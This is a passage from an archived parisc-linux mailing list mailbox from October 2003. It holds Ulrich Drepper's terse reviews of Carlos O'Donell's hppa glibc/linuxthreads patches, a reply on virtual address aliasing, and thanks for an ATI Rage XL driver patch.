	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 07243-06; Tue, 14 Oct 2003 22:52:43 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E5F60298034; Tue, 14 Oct 2003 22:52:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F8A272E0000157A@ocpmta3.freegates.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19819

On Tue, Oct 14, 2003 at 06:59:52PM +0200, Joel Soete wrote:
> If I well understand it means that a same real (absolute) address
> has a different virtual addresse for each processor?

multiple translations. It can be across processors but doesn't have to be.

> (btw Do you have any idea where i can find of the detail way to implement
> it?)

If someone had worked it out and provided a patch, we probably
be using it. I think that's what you (or someone) needs to do.

sorry, 
grant


From - Thu Nov 08 21:29:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] linuxthreads for hppa (1/3)
Date: Tue, 14 Oct 2003 22:13:24 -0700
Organization: Red Hat, Inc.
Lines: 41
Approved: news@gmane.org
Message-ID: <3F8CD774.4040400__37114.7156380632$1416622874$gmane$org@redhat.com>
References: <20031010204444.GF6454@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622874 32634 80.91.229.3 (22 Nov 2014 02:21:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:14 +0000 (UTC)
Cc: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 14 23:13:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from myware.akkadia.org (cpe-24-221-190-179.ca.sprintbbd.net [24.221.190.179])
	by dsl2.external.hp.com (Postfix) with ESMTP id AB0F548AC
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Oct 2003 23:13:51 -0600 (MDT)
Original-Received: from redhat.com (drepper@myware.akkadia.org [192.168.7.70])
	by myware.akkadia.org (8.12.10/8.12.10) with ESMTP id h9F5DOdb030555
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 14 Oct 2003 22:13:25 -0700
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20030925 Thunderbird/0.3
X-Accept-Language: en-us, en
In-Reply-To: <20031010204444.GF6454@systemhalted>
X-Enigmail-Version: 0.81.7.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19820

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

I think I've asked this before:

> 	Use __LT_INITIALIZER_NOT_ZERO instead of __LT_SPINLOCK_INIT.

Why?  No unnecessary changes.


guardaddr))
> +#  else
>    while (h->h_descr == NULL
> -	 || ! (sp <= (char *) h->h_descr->p_stackaddr && sp >= h->h_bottom))
> +	 || ! (sp <= (char *) h->h_descr->p_stackaddr && sp >= (char *) h->h_bottom))
> +#  endif

No unnecessary changes.  Leave the code you're not using alone.


>      h++;
>  # else
> -  while (! (sp <= (char *) h->h_descr && sp >= h->h_bottom))
> +#  ifdef _STACK_GROWS_UP

And again.


- -- 
- --------------.                        ,-.            444 Castro Street
Ulrich Drepper \    ,-----------------'   \ Mountain View, CA 94041 USA
Red Hat         `--' drepper at redhat.com `---------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/jNd02ijCOnn/RHQRAl6CAJ0Tv6yItJOX52RZu71GKSrGFUfMtACgnf6i
Jy0mt+OERsR8N35JOFozwPU=
=kNiu
-----END PGP SIGNATURE-----



From - Thu Nov 08 21:29:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] linuxthreads for hppa (1/3)
Date: Wed, 15 Oct 2003 01:40:45 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <20031015054045.GE22495__34032.0029914894$1416622874$gmane$org@systemhalted>
References: <20031010204444.GF6454@systemhalted> <3F8CD774.4040400@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622874 32637 80.91.229.3 (22 Nov 2014 02:21:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:14 +0000 (UTC)
Cc: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
To: Ulrich Drepper <drepper@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 14 23:44:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id EADB148AC
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Oct 2003 23:44:24 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A9eOs-0006Tt-00; Wed, 15 Oct 2003 01:40:46 -0400
Content-Disposition: inline
In-Reply-To: <3F8CD774.4040400@redhat.com>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19821

On Tue, Oct 14, 2003 at 10:13:24PM -0700, Ulrich Drepper wrote:
> 
> I think I've asked this before:
> 
> > 	Use __LT_INITIALIZER_NOT_ZERO instead of __LT_SPINLOCK_INIT.
> 
> Why?  No unnecessary changes.

__LT_SPINLOCK_INIT is the value of the structure and used for
initialization e.g. { 1, 1, 1, 1 }. It can no longer be used in a macro
evaluation like "#if __LT_SPINLOCK_INIT". Instead the other macros was
added.
 
> No unnecessary changes.  Leave the code you're not using alone.
> And again.

I made the mistake of adding my STACK_GROWS_UP fixes to this patch set.
If you note I have submitted a "Round 2" set of patches that remove
these changes.

Cheeers,
Carlos.



From - Thu Nov 08 21:29:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Sysdeps changes for hppa.
Date: Tue, 14 Oct 2003 22:49:10 -0700
Organization: Red Hat, Inc.
Lines: 43
Approved: news@gmane.org
Message-ID: <3F8CDFD6.1010300__15613.5348407135$1416622875$gmane$org@redhat.com>
References: <20031012213226.GE23999@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622875 32647 80.91.229.3 (22 Nov 2014 02:21:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:15 +0000 (UTC)
Cc: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 14 23:49:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from myware.akkadia.org (cpe-24-221-190-179.ca.sprintbbd.net [24.221.190.179])
	by dsl2.external.hp.com (Postfix) with ESMTP id 479F748AC
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Oct 2003 23:49:32 -0600 (MDT)
Original-Received: from redhat.com (drepper@myware.akkadia.org [192.168.7.70])
	by myware.akkadia.org (8.12.10/8.12.10) with ESMTP id h9F5nAdb030729
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 14 Oct 2003 22:49:11 -0700
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20030925 Thunderbird/0.3
X-Accept-Language: en-us, en
In-Reply-To: <20031012213226.GE23999@systemhalted>
X-Enigmail-Version: 0.81.7.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19822

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


> 2003-10-12  Carlos O'Donell  <carlos@baldric.uwo.ca>
> 
> 	* sysdeps/hppa/sysdep.h: Undef JUMPTARGET before use.
> 	* sysdeps/unix/sysv/linux/hppa/sysdep.h:
> 	Define __NR_semtimedop for compat with old kernels,
> 	PSEUDO_ERRVAL, SYSCALL_ERROR_LABEL under all conditions,
> 	INTERNAL_SYSCALL_DECL, INTERNAL_SYSCALL_ERROR_P,
> 	INTERNAL_SYSCALL_ERRNO, INTERNAL_SYSCALL, and undef 
> 	JUMPTARGET before use.
> 	[PIC]: Save pic register around syscall.
> 	* sysdeps/unix/sysv/linux/hppa/sysdep.c (syscall): 
> 	Cleanup asm statment.

I've applied this patch, but only because I really don't care how the PA
port looks.

The semtimedop definition is completely wrong.  If you want all
syscall,s use appropriate headers.

You've modified the patch by hand and broke it, forcing me to do clean up.

The coding style is completely wrong and a terrible mess.  The coding
standard document is available, read it.

The preprocessor directive indentation is wrong or non-existing.

- -- 
- --------------.                        ,-.            444 Castro Street
Ulrich Drepper \    ,-----------------'   \ Mountain View, CA 94041 USA
Red Hat         `--' drepper at redhat.com `---------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/jN/W2ijCOnn/RHQRAjrzAJsEI3ukb5MQ/T0Wl0ihUX1l2ejBJACeL8GW
7tzXLthx8pW4Rhb+26NQkH4=
=8Fy5
-----END PGP SIGNATURE-----



From - Thu Nov 08 21:29:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] ATI rage xl and C360 (it works!)
Date: Wed, 15 Oct 2003 07:52:19 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <3F8A29A200001466@ocpmta1.freegates.net>
References: <Pine.LNX.4.58.0310141949150.17639@gustlik.softwired.wfc>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622875 32651 80.91.229.3 (22 Nov 2014 02:21:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:15 +0000 (UTC)
To: "Hin.Zen" <hinzen@blah.pl>, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 14 23:52:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id C009948AC
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Oct 2003 23:52:26 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1A9ea4-0004ff-00; Wed, 15 Oct 2003 07:52:20 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 15 Oct 2003 07:52:19 +0200
In-Reply-To: <Pine.LNX.4.58.0310141949150.17639@gustlik.softwired.wfc>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19823

Hello,

Great news, I will test it asap (and obviously let you inform).

Many thanks,
    Joel

>-- Original Message --
>From: "Hin.Zen" <hinzen@blah.pl>
>To: parisc-linux@lists.parisc-linux.org
>Date: Tue, 14 Oct 2003 20:20:14 +0200 (CEST)
>Subject: [parisc-linux] ATI rage xl and C360 (it works!)
>
>
>Hello List,

last night I accidentally found this:
http://ftp.fi.muni.cz/pub/linux/sgi/people/ppopov/aty_nobiosinit.patch

and patched 2.4.22-pa12 on my C360.
After that the rage xl seems to work just fine [minor problems with
colors and XFree (
>bdev mode) running 1280x1024].

Could anybody who owns such a card (or can easily get one) test it please?
(maybe Joel?)

thanks,

-- 
hinzen
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc
>linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] _STACK_GROWS_UP fixes.
Date: Tue, 14 Oct 2003 22:53:58 -0700
Organization: Red Hat, Inc.
Lines: 26
Approved: news@gmane.org
Message-ID: <3F8CE0F6.6050000__37163.1264024929$1416622875$gmane$org@redhat.com>
References: <20031012213734.GJ23999@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622875 32653 80.91.229.3 (22 Nov 2014 02:21:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:15 +0000 (UTC)
Cc: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 14 23:54:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from myware.akkadia.org (cpe-24-221-190-179.ca.sprintbbd.net [24.221.190.179])
	by dsl2.external.hp.com (Postfix) with ESMTP id CED7948AC
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Oct 2003 23:54:21 -0600 (MDT)
Original-Received: from redhat.com (drepper@myware.akkadia.org [192.168.7.70])
	by myware.akkadia.org (8.12.10/8.12.10) with ESMTP id h9F5rwdb030785
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 14 Oct 2003 22:53:58 -0700
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20030925 Thunderbird/0.3
X-Accept-Language: en-us, en
In-Reply-To: <20031012213734.GJ23999@systemhalted>
X-Enigmail-Version: 0.81.7.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19824

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Carlos O'Donell wrote:

> 2003-10-06  Carlos O'Donell <carlos@baldric.uwo.ca>
> 
> 	* pthread.c (__pthread_self_stack): _STACK_GROWS_UP case added.
> 	(__pthread_find_self): Likewise.
> 	* manager.c (thread_segment): _STACK_GROWS_UP case added.

Applied after cleaning up.

- -- 
- --------------.                        ,-.            444 Castro Street
Ulrich Drepper \    ,-----------------'   \ Mountain View, CA 94041 USA
Red Hat         `--' drepper at redhat.com `---------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/jOD22ijCOnn/RHQRAtSQAKCSAkx1YFOt3HSr2MBfKcB5OqK43ACgyHQK
ch5Et0rXhEeQqKCszFrYGDY=
=UKA4
-----END PGP SIGNATURE-----



From - Thu Nov 08 21:29:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] linuxthreads for hppa (1/3)
Date: Tue, 14 Oct 2003 22:56:37 -0700
Organization: Red Hat, Inc.
Lines: 40
Approved: news@gmane.org
Message-ID: <3F8CE195.2090106__7960.63037491894$1416622875$gmane$org@redhat.com>
References: <20031010204444.GF6454@systemhalted> <3F8CD774.4040400@redhat.com> <20031015054045.GE22495@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622875 32658 80.91.229.3 (22 Nov 2014 02:21:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:15 +0000 (UTC)
Cc: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 14 23:57:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from myware.akkadia.org (cpe-24-221-190-179.ca.sprintbbd.net [24.221.190.179])
	by dsl2.external.hp.com (Postfix) with ESMTP id A39634927
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Oct 2003 23:57:02 -0600 (MDT)
Original-Received: from redhat.com (drepper@myware.akkadia.org [192.168.7.70])
	by myware.akkadia.org (8.12.10/8.12.10) with ESMTP id h9F5ubdb030844
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 14 Oct 2003 22:56:38 -0700
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20030925 Thunderbird/0.3
X-Accept-Language: en-us, en
In-Reply-To: <20031015054045.GE22495@systemhalted>
X-Enigmail-Version: 0.81.7.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19825

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Carlos O'Donell wrote:

>>>	Use __LT_INITIALIZER_NOT_ZERO instead of __LT_SPINLOCK_INIT.
>>
>>Why?  No unnecessary changes.
> 
> 
> __LT_SPINLOCK_INIT is the value of the structure and used for

The

- -# if __LT_SPINLOCK_INIT != 0
- -  __pthread_handles[0].h_lock = __LOCK_INITIALIZER;
- -  __pthread_handles[1].h_lock = __LOCK_INITIALIZER;
+# ifdef __LT_INITIALIZER_NOT_ZERO
+  __pthread_handles[0].h_lock = __LOCK_ALT_INITIALIZER;
+  __pthread_handles[1].h_lock = __LOCK_ALT_INITIALIZER;

part is what I meant.  There is no reason to change the name.

Look at your change, no changes of code which are not needed.  Clean up
the patches to follow the coding standard, preprocessor indentation, etc
etc.

- -- 
- --------------.                        ,-.            444 Castro Street
Ulrich Drepper \    ,-----------------'   \ Mountain View, CA 94041 USA
Red Hat         `--' drepper at redhat.com `---------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/jOGV2ijCOnn/RHQRAhQUAJ9/9i66NJnsUCcLb6eLUVOKIUXUzgCeOibq
l0Nqbif38PD+KbJgZqJVq20=
=4y0s
-----END PGP SIGNATURE-----



From - Thu Nov 08 21:29:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] L2000/N4000 smp devices/boot compare??
Date: Wed, 15 Oct 2003 08:02:14 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <3F8A29A200001472@ocpmta1.freegates.net>
References: <20031015045242.GB7351@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622876 32661 80.91.229.3 (22 Nov 2014 02:21:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:16 +0000 (UTC)
Cc: "Matthew Wilcox" <willy@debian.org>,
	parisc-linux@parisc-linux.org,
	"Derek Engelhaupt" <derekengelhaupt@rocketmail.com>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 15 00:02:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D6F6748AC; Wed, 15 Oct 2003 00:02:16 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A9ejg-00018w-00; Wed, 15 Oct 2003 08:02:16 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 15 Oct 2003 08:02:14 +0200
In-Reply-To: <20031015045242.GB7351@colo.lackof.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19826

Grant,

Thanks for all (advise, attention, ...)
    Joel

PS: for me it is already a progress: i finaly reach to understand some concept
as 'aliasing' (still have to understand exatly coherent and no-coherent,
... :) )

>-- Original Message --
>Date: Tue, 14 Oct 2003 22:52:42 -0600
>From: Grant Grundler <grundler@parisc-linux.org>
>To: Joel Soete <soete.joel@tiscali.be>
>Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org,
>	Derek Engelhaupt <derekengelhaupt@rocketmail.com>
>Subject: Re: [parisc-linux] L2000/N4000 smp devices/boot compare??
>
>
>On Tue, Oct 14, 2003 at 06:59:52PM +0200, Joel Soete wrote:
> If I well understand it means that a same real (absolute) address
> has a different virtual addresse for each processor?

multiple translations. It can be across processors but doesn't h
>ve to be.

> (btw Do you have any idea where i can find of the detail way to implement
> it?)

If someone had worked it out and provided a patch, we probably
be using it. I think that's what you (or someone) needs to do.

sorry, 
grant



-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
